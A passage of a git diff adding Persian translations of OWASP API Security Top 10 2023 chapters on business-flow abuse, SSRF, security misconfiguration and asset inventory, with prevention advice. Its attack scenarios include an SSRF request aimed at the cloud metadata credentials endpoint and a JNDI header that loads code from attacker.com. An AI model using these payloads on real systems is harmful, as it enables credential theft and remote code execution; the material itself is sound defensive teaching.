ادمین‌‌‌ها بایستی آن را ببینند: +`GET /api/admin/v1/users/all` +این تابع در پاسخ جزئیات تمامی کاربران اپلیکیشن را برگردانده و کنترل‌‌‌های مجوزدهی در سطح توابع را نیز به درستی ‌‌‌‌پیاده‌سازی نکرده است. مهاجمی که با ساختار API آشنایی پیدا کرده، این مسیر را حدس زده و اطلاعات حساس تمامی کاربران اپلیکیشن را می‌رباید. + +## چگونه از ‌‌آسیب‌پذیری نقض مجوزدهی در سطح توابع پیشگیری کنیم؟ + +ماژول مجوزدهی اپلیکیشن بایستی بطور یکپارچه توسط تمامی توابع اپلیکیشن فراخوانی شده و تحلیل آن نیز آسان باشد. همچنین در بیشتر مواقع، این روش حفاطتی توسط یک یا چند مولفه بیرونی و خارج از کد اصلی اپلیکیشن فراهم می‌شود. + +- مکانیزم (های) اعمال شده بایستی بطور پیشفرض کلیه دسترسی‌‌‌ها را Deny (رد) نموده و برای دسترسی به هر یک از توابع، مجوزخاص دسترسی نقش مربوطه را طلب نمایند. +- توابع API از منظر نواقص مجوزدهی در سطح تابع با درنظر گرفتن منطق اپلیکیشن و سلسله مراتب گروه‌‌‌های کاربری مورد بازبینی قرار گیرد. +- تمامی کنترلگرهای مدیریتی از یک کنترلگر مدیریتی انتزاعی که مجوزها را بر حسب نقش کاربر یا گروه پیاده‌سازی نموده، ارث بری داشته باشند. +- تمامی توابع مدیریتی درون یک کنترلگر عادی (غیرمدیریتی)، کنترل‌‌‌های مجوز مبتنی بر نقش کاربر یا گروه را بکارگیرند. +- حصول اطمینان از این که تمام کنترل‌گرهای مدیریتی از یک کنترل‌گر انتزاعی مدیریتی به ارث برده‌ شدند که بر اساس گروه/نقش کاربری عملیات احراز هویت را انجام می‌دهد. +- حصول اطمینان از این که عملیات مدیریتی در داخل یک کنترل‌گر معمولی پس از بررسی‌های احراز هویت بر اساس گروه و نقش کاربر و بر اساس منطق کسب و کار پیاده‌سازی می‌شوند. + +## مراجع +- [Forced Browsing][1] +- "A7: Missing Function Level Access Control", [OWASP Top 10 2013][2] +- [Access Control][3] + +### خارجی + +- [CWE-285: Improper Authorization](https://cwe.mitre.org/data/definitions/285.html) + +[1]: https://owasp.org/www-community/attacks/Forced_browsing +[2]: https://github.com/OWASP/Top10/raw/master/2013/OWASP%20Top%2010%20-%202013.pdf +[3]: https://owasp.org/www-community/Access_Control +[4]: https://cwe.mitre.org/data/definitions/285.html diff --git a/editions/2023/fa/0xa6-unrestricted-access-to-sensitive-business-flows.md b/editions/2023/fa/0xa6-unrestricted-access-to-sensitive-business-flows.md new file mode 100644 index 000000000..d1574299c --- /dev/null +++ b/editions/2023/fa/0xa6-unrestricted-access-to-sensitive-business-flows.md @@ -0,0 +1,58 @@ +# API6:2023 دسترسی نامحدود به جریان‌های حساس کسب و کار + +| ضعف امنیتی | عوامل تهدید / مسیر حمله | پیامد | +|---------|--------------------|------------| +| خاص API / قابلیت بهره‌برداری: آسان | میزان شیوع: گسترده/ قابلیت تشخیص: متوسط | پیامد فنی: متوسط / خاص کسب و کار | +| بهره برداری از این آسیب‌پذیری غالبا نیاز به فهم منطق کسب و کار، روابط مابین اشیا و ساختار API از سوی مهاجم دارد. | نداشتن یک دیدگاه کلی از API برای پشتیبانی کامل از نیازهای کسب و کار به تکرار این مشکلات منجر می‌شود. مهاجمان به صورت دستی منابع هدف(مثلاً نقاط پایان) و چگونگی کارکرد آنها را مشخص می‌کنند. اگر مکانیزم‌های مخصوص جلوگیری از حملات (تعداد دسترسی محدود به API، محدودیت نرخ و غیره) از قبل وجود داشته باشند، مهاجمان باید راهی برای دور زدن آنها پیدا کنند. | بطور کلی بهره‌برداری از این آسیب‌پذیری نباید تأثیرات فنی داشته باشد. اما مواردی مانند عدم امکان خرید محصول توسط کاربران معتبر یا ایجاد تورم در اقتصاد داخلی نیز ممکن است پیامد این آسیب‌پذیری باشند. | + +## آیا API از نظر دسترسی بدون محدودیت به جریان‌های کسب‌وکار حساس ‌‌‌آسیب‌پذیر است؟ + +در زمان ایجاد یک API Endpoint، باید مشخص شود چه جریان کاری‌ای افشا می‌شود. برخی از جریان‌های کاری نسبت به دیگران حساس‌تر هستند، به معنای اینکه دسترسی به آنها بیش از حد مجاز ممکن است به کسب و کار آسیب بزند. + +نمونه‌‌‌هایی از «ویژگی‌‌‌های حساس» عبارتند از: + +- جریان خرید محصول - مهاجم می‌تواند به یک‌باره تمام موجودی یک محصول با تقاضای بالا را خریداری کرده و سپس آن محصول را با قیمت بالاتری مجدداً بفروشد (scalping). +- جریان ایجاد نظر یا پست - مهاجم ممکن است سیستم را با ارسال نظرات یا پست‌های مکرر دچار مشکل کند. +- جریان رزرو کردن - مهاجم می‌تواند تمام بازه‌های زمانی موجود را رزرو کرده و مانع استفاده دیگر کاربران شود. + +خطر دسترسی بیش از حد، بین صنایع و کسب و کارهای مختلف متغیر است. به عنوان مثال، ایجاد پست‌ توسط یک اسکریپت ممکن است در یک شبکه اجتماعی به عنوان خطر اسپم در نظر گرفته شود، اما درشبکه اجتماعی دیگر تشویق شود. +اگر یک تابع انتهایی API امکان دسترسی بیش از حد به یک جریان کسب و کار حساس را فراهم ‌کند، در معرض حملات و سوءاستفاده‌ مهاجمان خواهد بود. + +## مثال‌‌‌هایی از سناریوهای حمله + +### سناریو #1 + +یک شرکت فناوری اعلام می‌کند که قصد دارد یک کنسول بازی جدید را در روز شکرگزاری منتشر کند. این محصول تقاضای بسیار بالا و موجودی محدودی دارد. مهاجم کدی می‌نویسد تا به صورت خودکار محصول جدید را بخرد. +در روز انتشار، مهاجم کد را از طریق آدرس IPها و مکان‌های مختلف اجرا می‌کند. تابع انتهایی API اقدامات حفاظتی مناسبی را پیاده‌سازی نکرده و درنتیجه به مهاجم این امکان را می‌دهد که بیشترین تعداد ممکن از موجودی را قبل از سایر کاربران معتبر بخرد. + +### سناریو #2 + +یک شرکت هواپیمایی خدمات مربوط به خرید بلیط آنلاین را بدون هیچ گونه هزینه‌ی لغو خرید، به کاربران ارائه می‌دهد. یک کاربر، 90٪ از صندلی‌های پرواز مورد نظر را رزرو می‌کند. +چند روز پیش از پرواز، کاربر مذکور، همه بلیط‌ها را یک‌جا لغو می‌کند، که باعث می‌شود شرکت هواپیمایی برای پر کردن پرواز، مجبور شود بلیط‌ها را با تخفیف بفروشد. در این حالت، کاربر می‌تواند یک بلیط به قیمت بسیار ارزان‌تر از بلیط اصلی بخرد. + +### سناریو #3 + +یک اپلیکیشن سفر اشتراکی برنامه‌ای برای معرفی دوستان دارد. کاربران می‌توانند دوستان خود را دعوت کرده و برای هر دوستی که به اپلیکیشن بپیوندد، اعتبار دریافت کنند. این اعتبار بعداً می‌تواند به عنوان وجه نقد برای رزرو سفرها استفاده شود. مهاجم با نوشتن یک اسکریپت فرآیند ثبت‌نام را به صورت خودکار انجام می‌دهد و با هر فرآیند ثبت‌نام کاربر جدید، اعتباری به کیف پولش اضافه می‌شود. مهاجم بعداً می‌تواند از سفرهای رایگان بهره‌برداری کرده یا حساب‌هایی با اعتبارهای اضافی را در ازای پول نقد بفروشد. + +## چگونه از ‌‌‌آسیب‌پذیری دسترسی بدون محدودیت به جریان‌های کسب‌وکار حساس پیشگیری کنیم؟ + +برنامه‌ریزی برای کاهش تهدیدات در دو لایه باید انجام شود: + +- در لایه کسب و کار، باید جریان‌های کسب و کار حساسی را شناسایی کنیم که اگر به صورت نرم‌افرازی استفاده شوند، ممکن است به کسب‌وکار آسیب بزنند. +- در لایه مهندسی، مکانیزم‌های حفاظتی مناسبی را برای کاهش خطرهای لایه کسب و کار انتخاب می‌کنیم. + +در این قسمت به مکانیزم‌های حفاظتی مختلف برای کاهش تهدیدات خودکار اشاره شده است. برخی از این مکانیزم‌ها ساده‌تر هستند و برخی دیگر پیچیده‌تر. روش‌های مختلفی برای کاهش سرعت تهدیدات خودکار مورد استفاده قرار می‌گیرد: + +- شناسایی دستگاه: این روش از طریق شناسایی و ممنوعیت دسترسی به دستگاه‌های ناشناخته می‌تواند مهاجمان را وادار به استفاده از راهکارهای پیچیده‌تری کند که برای آنها هزینه بیشتری دارد. مثلاً، سیستم ممکن است دسترسی مرورگرهای بدون رابط کاربری را ممنوع کند. +- شناسایی انسان: از راهکارهایی مانند Captcha یا راهکارهای بیومتریک پیشرفته‌تر مانند الگوهای تایپ کردن برای شناسایی کاربران انسانی استفاده می‌شود. +- الگوهای غیرانسانی: با تجزیه و تحلیل الگوهای عملکرد کاربران می‌توان الگوهای غیرانسانی را شناسایی کرد. به عنوان مثال، دسترسی کاربر به عملیات "افزودن به سبد خرید" و "تکمیل خرید" در کمتر از یک ثانیه، ممکن است نشانه‌ای از الگوی غیرانسانی باشد. +- مسدود کردن آدرس‌های IP از گره‌های خروجی Tor و پروکسی‌های معروف: این روش به مسدود کردن آدرس‌های IP مخصوص می‌پردازد که ممکن است توسط مهاجمان مورد استفاده قرار گیرد. +- محدود کردن دسترسی به API‌های مصرفی مستقیم توسط دستگاه‌ها (مانند API‌های توسعه‌دهندگان و B2B) مهاجمان را از دسترسی آسان به این API‌ها بازمی‌دارد. از آن‌جایی که این نوع API‌ها اغلب تمام مکانیزم‌های حفاظتی مورد نیاز را پیاده‌سازی نمی‌کنند، معمولا برای مهاجمان هدف آسانی می‌باشند. + +## مراجع + +- [OWASP Automated Threats to Web Applications][1] +- [API10:2019 Insufficient Logging & Monitoring][2] + +[1]: https://owasp.org/www-project-automated-threats-to-web-applications/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xaa-insufficient-logging-monitoring/ diff --git a/editions/2023/fa/0xa7-server-side-request-forgery.md b/editions/2023/fa/0xa7-server-side-request-forgery.md new file mode 100644 index 000000000..1cfd72555 --- /dev/null +++ b/editions/2023/fa/0xa7-server-side-request-forgery.md @@ -0,0 +1,127 @@ +# API7:2023 جعل درخواست در سمت سرور(SSRF) + +| ضعف امنیتی | عوامل تهدید / مسیر حمله | پیامد | +|---------|--------------------|------------| +| خاص API / قابلیت بهره‌برداری: آسان | میزان شیوع: متداول/ قابلیت تشخیص: آسان | پیامد فنی: متوسط / خاص کسب و کار | +| برای بهره‌برداری از این آسیب‌پذیری، مهاجم تابع انتهایی APIی را پیدا کند که به URI مشتری، دسترسی می‌دهد. به طور کلی، SSRF ابتدایی (که بر مبنای feedback حاصل از موفقیت یا شکست حمله طراحی شده) نسبت به SSRF کور راحت‌تر بهره‌برداری می‌شود. | مفاهیم جدید در توسعه نرم‌افزارها، توسعه‌دهندگان را تشویق می‌کنند تا از URI های ارائه شده توسط مشتریان استفاده کنند. یکی از مشکلات رایج در اینجا این است که URI ارائه شده توسط مشتری به درستی اعتبارسنجی نشده یا اصلاح نشده باشند. برای تشخیص این مشکل، درخواست‌ها و پاسخ‌های API در روند توسعه و تست برنامه باید تجزیه و تحلیل شوند. وقتی که پاسخی به مشتری برنگشت داده نمی‌شود (مثل SSRF کور)، تشخیص و رفع آسیب‌پذیری نیاز به تلاش و خلاقیت بیشتری دارد. | اگر مهاجمی حمله SSRF را با موفقیت انجام دهد، ممکن است به نتایجی نظیر شناسایی خدمات داخلی سرور (مانند اسکن پورت‌ها)، دسترسی به اطلاعات محرمانه افشا شده، دور زدن دیواره‌ی آتش‌ و دیگر مکانیزم‌های امنیتی دست یابد. در برخی موارد، این نوع حمله می‌تواند منجر به اختلال در ارائه سرویس (DoS) شود و باعث شود مهاجم از سرور به عنوان یک پروکسی برای پنهان کردن فعالیت‌های مخرب استفاده کند. | + +## آیا API از نظر جعل درخواست در سمت سرور ‌‌‌آسیب‌پذیر است؟ + +این آسیب‌پذیری زمانی رخ می‌دهد که یک API بدون اعتبارسنجی URL کاربر، منبعی را از راه دور درخواست می‌کند. این مسئله به مهاجم این امکان را می‌دهد تا اپلیکیشن را وادار کند حتی در صورت داشتن دیوار آتش یا شبکه خصوصی مجازی، درخواست‌هایی ساختگی ایجاد کرده و به مقصدی دور از انتظار ارسال کند. +مفاهیم مدرن در توسعه برنامه‌ها باعث می‌شود که مشکلات مربوط به این آسیب‌پذیری رایج‌تر و خطرناک‌تر شوند. +- موارد رایج‌تر: مفاهیم زیر، توسعه‌دهندگان را تشویق می‌کنند تا براساس ورودی کاربر به منابع خارجی دسترسی پیدا کنند: وب‌هوک‌ها، دریافت فایل از URLها، سفارشی‌سازی SSO و پیش‌نمایش URLها. +- موارد خطرناک‌تر: فناوری‌های مدرن مانند ارائه‌دهندگان فضای ابری، Kubernetes و Docker امکان قرارگیری رابط‌های مدیریت و کنترل را از طریق HTTP روی مسیرهای پیش‌بینی‌پذیر و شناخته‌شده فراهم آورده‌اند. این کانال‌ها مورد هدف مستقیم مهاجمان برای حملات SSRF قرار می‌گیرند. +در برنامه‌های مدرن که ارتباطات پیوسته و بدون وقفه با سایر اجزای سیستم دارند، کنترل ترافیک خروجی از برنامه به دلیل پیچیدگی ارتباطات بیشتر چالش‌برانگیز‌ است. +خطر SSRF نمی‌تواند به طور کامل از بین برود. بنابراین در هنگام انتخاب یک مکانیزم حفاظتی، مهم است که خطرات و نیازهای تجاری را در نظر گرفت. + +## مثال‌‌‌‌هایی از سناریوهای حمله + +### سناریو #1 + +یک شبکه اجتماعی به کاربران امکان بارگذاری تصویر برای پروفایل کاربری خود را می‌دهد. کاربر می‌تواند تصویر را از دستگاه بارگذاری کرده یا URL آن را وارد کند. در صورت وارد کردن URL، API زیر فراخوانی می‌شود: + +```http +POST /api/profile/upload_picture + +{ + "picture_url": "http://example.com/profile_pic.jpg" +} +``` + +مهاجم می‌تواند URL مخربی را ارسال کرده و با استفاده از تابع انتهایی API، پورت‌های شبکه داخلی را اسکن کند: + +```http +{ + "picture_url": "localhost:8080" +} +``` + +بر اساس زمان پاسخ‌دهی، مهاجم می‌تواند بفهمد که پورت باز است یا خیر. + +### سناریو #2 + +یک محصول امنیتی طوری طراحی شده که وقتی ناهنجاری‌هایی را در شبکه تشخیص دهد، رویدادهای متناسب با آن را تولید می‌کند. برخی از تیم‌ها ترجیح می‌دهند که این رویدادها را در یک سیستم نظارتی عمومی و کلان‌تر مانند SIEM (مدیریت اطلاعات و رویداد امنیتی) بررسی کنند. به این منظور، محصول امنیتی با استفاده از وب‌هوک‌ها امکان ادغام با سایر سیستم‌ها را فراهم می‌آورد. + +در جریان ایجاد یک وب‌هوک جدید، یک تغییر GraphQL ارسال می‌شود که شامل مسیر تابع انتهایی SIEM است: + +```graphql +POST /graphql + +[ + { + "variables": {} + "query": "mutation { + createNotificationChannel(input: { + channelName: "ch_piney" + notificationChannelConfig: { + customWebhookChannelConfigs: [ + { + url: "http://www.siem-system.com/create_new_event" + send_test_req: true + } + ] + } + }){ + channelId + } + }" + } +] +``` + +در طول فرآیند ایجاد وب‌هوک، API پشتیبانی یک درخواست آزمایشی به URL وب‌هوک ارائه شده، ارسال می‌کند و پاسخ را به کاربر نشان می‌دهد. +مهاجم می‌تواند از این فرآیند بهره برده و درخواست API را به منبعی حساس، مانند یک سرویس فهرست متادیتای ابر داخلی که شامل اطلاعات ورود به حساب‌های کاربری است، تغییر دهد: + +```graphql +POST /graphql + +[ + { + "variables": {} + "query": "mutation { + createNotificationChannel(input: { + channelName: "ch_piney" + notificationChannelConfig: { + customWebhookChannelConfigs: [ + { + url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm" + send_test_req: true + } + ] + } + }) { + channelId + } + } + } +] +``` + +وقتی برنامه پاسخ این درخواست آزمایشی را ارسال می‌کند، مهاجم می‌تواند اطلاعات ورود به حساب کاربری در محیط ابری را مشاهده کند. + +## چگونه از ‌‌‌آسیب‌پذیری جعل درخواست در سمت سرور پیشگیری کنیم؟ + +- جداسازی مکانیزم بازیابی منابع در شبکه‌: محدود کردن امکان دسترسی به منابع داخلی شبکه توسط مکانیزم‌هایی که برای بازیابی منابع از راه دور طراحی شده‌اند. +- در صورت امکان، از لیست‌های مجاز استفاده شود. + - الگوهای URL و پورت‌ها + - انواع رسانه‌های مجاز برای قابلیت‌های خاص + - غیرفعال کردن بازنشانی‌های HTTP +- استفاده از یک تجزیه‌کننده URL امتحان شده برای جلوگیری از مشکلات ناشی از عدم انطباق در تجزیه URL +- اعتبارسنجی و پاکسازی تمام داده‌های ورودی از سوی مشتری +- عدم ارسال داده خام به مشتری + +## مراجع + +- [OWASP](https://owasp.org/) +- [Server Side Request Forgery][1] +- [Server-Side Request Forgery Prevention Cheat Sheet][2] + +### خارجی + +- [CWE-918: Server-Side Request Forgery (SSRF)][3] +- [URL confusion vulnerabilities in the wild: Exploring parser inconsistencies,Snyk][4] + +[1]: https://owasp.org/www-community/attacks/Server_Side_Request_Forgery +[2]: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html +[3]: https://cwe.mitre.org/data/definitions/918.html +[4]: https://snyk.io/blog/url-confusion-vulnerabilities/ \ No newline at end of file diff --git a/editions/2023/fa/0xa8-security-misconfiguration.md b/editions/2023/fa/0xa8-security-misconfiguration.md new file mode 100644 index 000000000..328d33bfb --- /dev/null +++ b/editions/2023/fa/0xa8-security-misconfiguration.md @@ -0,0 +1,95 @@ +# API8:2023 پیکربندی امنیتی نادرست + +| ضعف امنیتی | عوامل تهدید / مسیر حمله | پیامد | +|---------|--------------------|------------| +| خاص API / قابلیت بهره‌برداری: آسان | میزان شیوع: گسترده/ قابلیت تشخیص: آسان | پیامد فنی: متوسط / خاص کسب و کار +| مهاجمین غالبا در تلاش برای یافتن حفره‌های وصله نشده، توابع رایج یا فایل‌ها و مسیرهای محافظت نشده به منظور دسترسی غیرمجاز به سیستم هستند. اطلاعات و تکنیک‌های مرتبط با این مسائل به طور عمومی در دسترس بوده و احتمال وقوع حمله در مورد آنها وجود دارد. | پیکربندی امنیتی نادرست می‌تواند در هر سطحی از API، از سطح شبکه تا سطح اپلیکشن روی دهد. ابزارهای خودکاری وجود دارند که فرایند تشخیص و بهره برداری از پیکربندی‌های نادرست نظیر تشخیص سرویس‌های غیرضروری را انجام می‌دهند. | پیکربندی امنیتی نادرست نه تنها می‌تواند اطلاعات حساس کاربر را افشا کند بلکه جزئیاتی از سیستم که ممکن است به از دست رفتن کامل سرور منجر شود را نیز در معرض خطر قرار می‌دهد. | + +## آیا API از نظر پیکربندی امنیتی نادرست‌‌‌آسیب‌پذیر است؟ + +API از منظر پیکربندی امنیتی نادرست ‌‌‌آسیب‌پذیر است اگر: + +- ایمن سازی امنیتی مناسب در هر قسمت از پشته اپلیکیشن رعایت نشده یا اپلیکیشن مجوزهای با پیکربندی نادرست روی سرویس‌‌‌‌های ابری داشته باشد. +- جدیدترین وصله‌‌‌‌های امنیتی نصب نشده و سیستم‌‌‌‌ها کاملا بروز نباشند. +- ویژگی غیرضروری (نظیر Verb اضافی HTTP) فعال باشند. +- تفاوت‌هایی در نحوه پردازش درخواست‌های ورودی توسط سرورها در زنجیره سرور HTTP وجود داشته باشد. +- امنیت لایه انتقال (TLS) غیرفعال باشد. +- دستورات و الزامات امنیتی (نظیر سرایندهای امنیتی) به سوی کلاینت ارسال نشوند. +- خط مشی اشتراک متقابل منابع (CORS) وجود نداشته یا به درستی ‌پیاده‌سازی نشده باشد. +- پیام‌‌‌‌های خطا ردپای پشته یا اطلاعات حساس دیگر را افشا نمایند. + +## مثال‌‌‌‌هایی از سناریوهای حمله + +### سناریو #1 + +سروری از API یک نرم‌افزار ثبت دسترسی معتبر و متن‌باز با قابلیت توسعه و پشتیبانی از جستجوهای JNDI (واسطه نام‌گذاری و دایرکتوری جاوا) برای ثبت درخواست‌ها و دسترسی‌ها استفاده می‌کند. برای هر درخواست جدید، یک ورودی جدید با الگوی زیر ثبت می‌شود: `http / - ` یک عامل مخرب، درخواست API مشخصی را ارسال می‌کند که در فایل گزارش دسترسی نوشته می‌شود: + +```http +GET /health +X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class} +``` + +اگر مهاجم از یک سرور کنترل از راه دور برای اجرای یک کد مخرب با نام `Malicious.class` استفاده کرده و این کد را در سرآیند درخواست `X-Api-Version` قرار دهد، نرم‌افزار گزارش‌دهی، به دلیل تنظیمات پیش‌فرض ناامن خود، این کد مخرب را از سرور مهاجم دانلود کرده و اجرا می‌کند. + +### سناریو #2 + +یک وب‌سایت شبکه‌ی اجتماعی امکان ارسال "پیام مستقیم" را فراهم کرده که به کاربران امکان برقراری گفت‌وگوی خصوصی را می‌دهد. برای دریافت پیام‌های جدید در یک گفت‌وگو خاص، وب‌سایت درخواست API زیر را ارسال می‌کند (نیازی به تعامل کاربری نیست): + +```http +GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA +``` + +پاسخ API شامل هدر پاسخ `HTTP Cache-Control` نمی‌شود، به همین علت گفت‌وگوهای خصوصی در مرورگر وب ذخیره شده و به مهاجمان اجازه می‌دهد که آنها را از فایل‌های حافظه نهان مرورگر در فایل‌سیستم بازیابی کنند. + +## چگونه از ‌‌‌آسیب‌پذیری پیکربندی امنیتی نادرست پیشگیری کنیم؟ + +چرخه حیات API بایستی شامل موارد زیر باشد: + +- فرایندی تکرار شونده برای ایمن سازی API که منجر به ‌پیاده‌سازی سریع و آسان یک محیط ایمن شود. +- فرایندی برای بازبینی و بروزرسانی پیکربندی‌‌‌‌ها در سراسر پشته API؛ این بازبینی بایستی موارد از جمله بازبینی هماهنگی بین فایل‌‌‌‌ها، مولفه‌‌‌‌های API و سرویس‌‌‌‌های ابری (نظیر مجوزهای باکت‌‌‌‌های S3) را دربرگیرد. +- فرایندی خودکار جهت ارزیابی پیوسته و مداوم اثربخشی پیکربندی و تنظیمات اعمال شده در سراسر محیط API و اپلیکیشن. + +بعلاوه: + +- حصول اطمینان از این که تمام ارتباطات API از سمت مشتری به سرور و هر کارکردهای دیگر روی یک کانال ارتباطی رمزنگاری شده (TLS) انجام می‌شود؛ بدون توجه به اینکه آیا این API داخلی است یا به صورت عمومی منتشر شده است. +- حصول اطمینان از اینکه API فقط به افعال HTTP مدنظر توسعه دهنده پاسخ می دهد و غیرفعال کردن سایر افعال (نظیر HEAD). +- APIهایی که انتظار می‌رود دسترسی به آنها از طریق کلاینت‌‌‌‌های مبتنی بر مرورگر (مثلا فرانت WebApp) باشد: + - بایستی خط مشی CORS مناسب را بکار گیرند. + - شامل سرآیندهای امنیتی قابل اجرا باشند. + - محتوا و فرمت‌ داده‌های ورودی را طوری محدود کنید که با نیازها و عملکرد کسب‌وکار سازگار باشند. +- برای جلوگیری از مشکلات عدم هماهنگی، مطمئن شوید که تمام سرورها در زنجیره سرورهای HTTP (مانند توازن بار، پروکسی‌های معکوس و پیشرو و back-end) درخواست‌های ورودی را به شیوه‌ای یکنواخت پردازش می‌کنند. +- در موارد قابل اجرا، تمام طرح‌های بارگیری پاسخ API تعریف و اعمال شود، از جمله پاسخ‌های خطا، تا از ارسال جزئیات اشتباه و اطلاعات مهم به مهاجمان جلوگیری گردد. +- برای همه پاسخ‌هایی که از API دریافت می‌شود، حتی پاسخ‌های شامل پیغام خطا، یک نقشه ساختاری دقیق تعریف شود. این اقدام باعث می‌شود که جزئیات خطاها و سایر اطلاعات حساس به مهاجمان ارسال نشود. + +## مراجع + +- [OWASP Secure Headers Project][1] +- [Configuration and Deployment Management Testing - Web Security Testing Guide][2] +- [Testing for Error Handling - Web Security Testing Guide][3] +- [Testing for Cross Site Request Forgery - Web Security Testing Guide][4] + +### خارجی + +- [CWE-2: Environmental Security Flaws][5] +- [CWE-16: Configuration][6] +- [CWE-209: Generation of Error Message Containing Sensitive Information][7] +- [CWE-319: Cleartext Transmission of Sensitive Information][8] +- [CWE-388: Error Handling][9] +- [CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')][10] +- [CWE-942: Permissive Cross-domain Policy with Untrusted Domains][11] +- [Guide to General Server Security][12], NIST +- [Let's Encrypt: a free, automated, and open Certificate Authority][13] + +[1]: https://owasp.org/www-project-secure-headers/ +[2]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README +[3]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/README +[4]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery +[5]: https://cwe.mitre.org/data/definitions/2.html +[6]: https://cwe.mitre.org/data/definitions/16.html +[7]: https://cwe.mitre.org/data/definitions/209.html +[8]: https://cwe.mitre.org/data/definitions/319.html +[9]: https://cwe.mitre.org/data/definitions/388.html +[10]: https://cwe.mitre.org/data/definitions/444.html +[11]: https://cwe.mitre.org/data/definitions/942.html +[12]: https://csrc.nist.gov/publications/detail/sp/800-123/final +[13]: https://letsencrypt.org/ diff --git a/editions/2023/fa/0xa9-improper-inventory-management.md b/editions/2023/fa/0xa9-improper-inventory-management.md new file mode 100644 index 000000000..fef59e61c --- /dev/null +++ b/editions/2023/fa/0xa9-improper-inventory-management.md @@ -0,0 +1,61 @@ +# API9:2023 مدیریت نادرست دارایی‌ها + +| ضعف امنیتی | عوامل تهدید / مسیر حمله | پیامد | +|---------|--------------------|------------| +| خاص API / قابلیت بهره‌برداری: آسان | میزان شیوع: گسترده/ قابلیت تشخیص: متوسط | پیامد فنی: متوسط / خاص کسب و کار +| نسخه‌های قدیمی API غالبا اصلاح و بروزرسانی نشده‌اند و از آنجا که از مکانیزم‌های دفاعی نوین موجود در APIهای جدید بهره نمی‌برند، راهی آسان برای دسترسی به سیستم‌ها برای مهاجمین فراهم می‌سازند. در برخی موارد، ابزارهای یا تکنیک‌های نفوذ برای حمله به سیستم‌ها از قبل وجود دارند. در موارد دیگر، ممکن است مهاجمان از طریق یک شخص یا سازمان ثالث که هیچ دلیل قانونی برای به اشتراک گذاری اطلاعات با آن وجود ندارد، به اطلاعات حساس دسترسی یابند. | عدم بروزرسانی مستندات، شناسایی و رفع آسیب پذیری‌ها را دشوارتر می‌کند. همچنین نبود فهرستی از دارایی‌ها و فقدان یک استراتژی مدون برای از دور خارج کردن نسخه‌های قدیمی منجر می‌شود تا سیستم های وصله نشده، مورد استفاده قرار گرفته و در نتیجه آن افشای اطلاعات رخ دهد. امروزه با کمک مفاهیم نوینی نظیر مایکروسرویس‌ها که امکان بکارگیری اپلیکیشن‌ها بصورت مستقل را تسهیل نموده‌اند (نظیر رایانش ابری، k8s یا کوبرنیتس و ...)، یافتن APIهایی که به صورت غیرضروری در معرض دید همگان قرار دارند تبدیل به امری رایج و آسان شده است. استفاده از تکنیک‌هایی مانند Google Dorking، نقض DNS یا استفاده از موتورهای جستجوی ویژه برای انواع مختلف سرورها (دوربین‌های تحت شبکه، روترها، سرورها و غیره) متصل به اینترنت کافی خواهد بود تا مهاجم بتواند اهدافی را کشف کند. | مهاجم می‌تواند از طریق نسخه‌های قدیمی API که کماکان به پایگاه داده‌ی اصلی متصل هستند، به داده‌ی حساس و یا حتی سرور دسترسی یابد. گاهی اوقات نسخه‌ها یا پیاده‌سازی‌های مختلف API به پایگاه داده‌ای مشترک با داده‌های واقعی متصل هستند. عاملان تهدید ممکن است از endpointهای موجود در نسخه‌های قدیمی API برای دستیابی به توابع مدیریتی استفاده کرده و از آسیب‌پذیری‌های شناخته شده بهره‌برداری کنند. | + +## آیا API از نظر مدیریت نادرست دارایی‌ها ‌آسیب‌پذیر است؟ + +طبیعت متصل و پراکنده API‌ها و برنامه‌های مدرن چالش‌های جدیدی را به دنبال دارد. سازمان‌ها علاوه بر داشتن درک دقیقی از API‌ها و endpoint های آن‌ها، باید چگونگی به اشتراک گذاری داده با شرکت‌ها یا اشخاص دیگر را درک کنند. این مسأله به امنیت و حفظ حریم خصوصی داده‌ها مرتبط بوده و نیازمند درک کامل و کنترل دقیق بر روی چگونگی استفاده از داده‌ها و اشتراک آن‌ها با سایر ارتباط‌گیرندگان است. +اجرای چندین نسخه از یک API نیازمند ارائه منابع مدیریتی اضافی می‌باشد که باید برای هر نسخه از API منابع و زیرساخت مجزا فراهم نموده و از نظر امنیتی بر هر کدام نظارت کرد. + +یک API در مستنداتش نقاط کور دارد اگر: + +- هدف از وجود API نامشخص بوده و پاسخی برای سوال‌های زیر وجود نداشته باشد: + - API در چه محیطی در حال اجرا است (مثلا محیط تست، توسعه، اجرا یا عملیات)؟ + - چه کسانی بایستی دسترسی شبکه‌ای به API داشته باشند (همه، افراد دخیل یا شرکا)؟ + - چه نسخه‌ای از API در حال اجرا است؟ + - چه داده‌ای (نظیر PII) توسط API در حال جمع آوری و پردازش است؟ + - جریان داده به چه صورت است؟ +- مستندی برای API وجود ندارد یا بروز نیست. +- برنامه‌ای برای بازنشستگی و از دور خارج شدن هریک از نسخه‌های API وجود ندارد. +- فهرست میزبان‌ها وجود ندارد یا قدیمی است. + +داشتن دید و لیست‌بندی از چگونگی جریان اطلاعات حساس در سازمان و نحوه تبادل این اطلاعات با شخص‌ها یا سازمان‌های دیگر، نقش مهمی در برنامه واکنش به وقوع یک حادثه امنیتی دارد. این اهمیت به ویژه زمانی ظاهر می‌شود که یک نقض امنیتی از سوی شرکت یا سازمان سومی رخ دهد. + +یک API دارای نقطه کور در جریان داده است اگر: + +- API جریان داده حساسی را با طرف ثالث به اشتراک می‌گذارد و + - توجیه تجاری یا تأییدی برای این جریان وجود ندارد. + - موجودیت یا دیدگاهی از این جریان وجود ندارد. + - دیدگاه دقیقی از نوع داده حساسی که به اشتراک گذاشته می‌شود، وجود ندارد. + +## مثال‌هایی از سناریوهای حمله + +### سناریو #1 + +یک شبکه اجتماعی از مکانیزم محدودسازی نرخ ارسال درخواست برای جلوگیری از انجام حملات Brute Force توسط مهاجمین جهت حدس توکن‌های تغییر گذرواژه 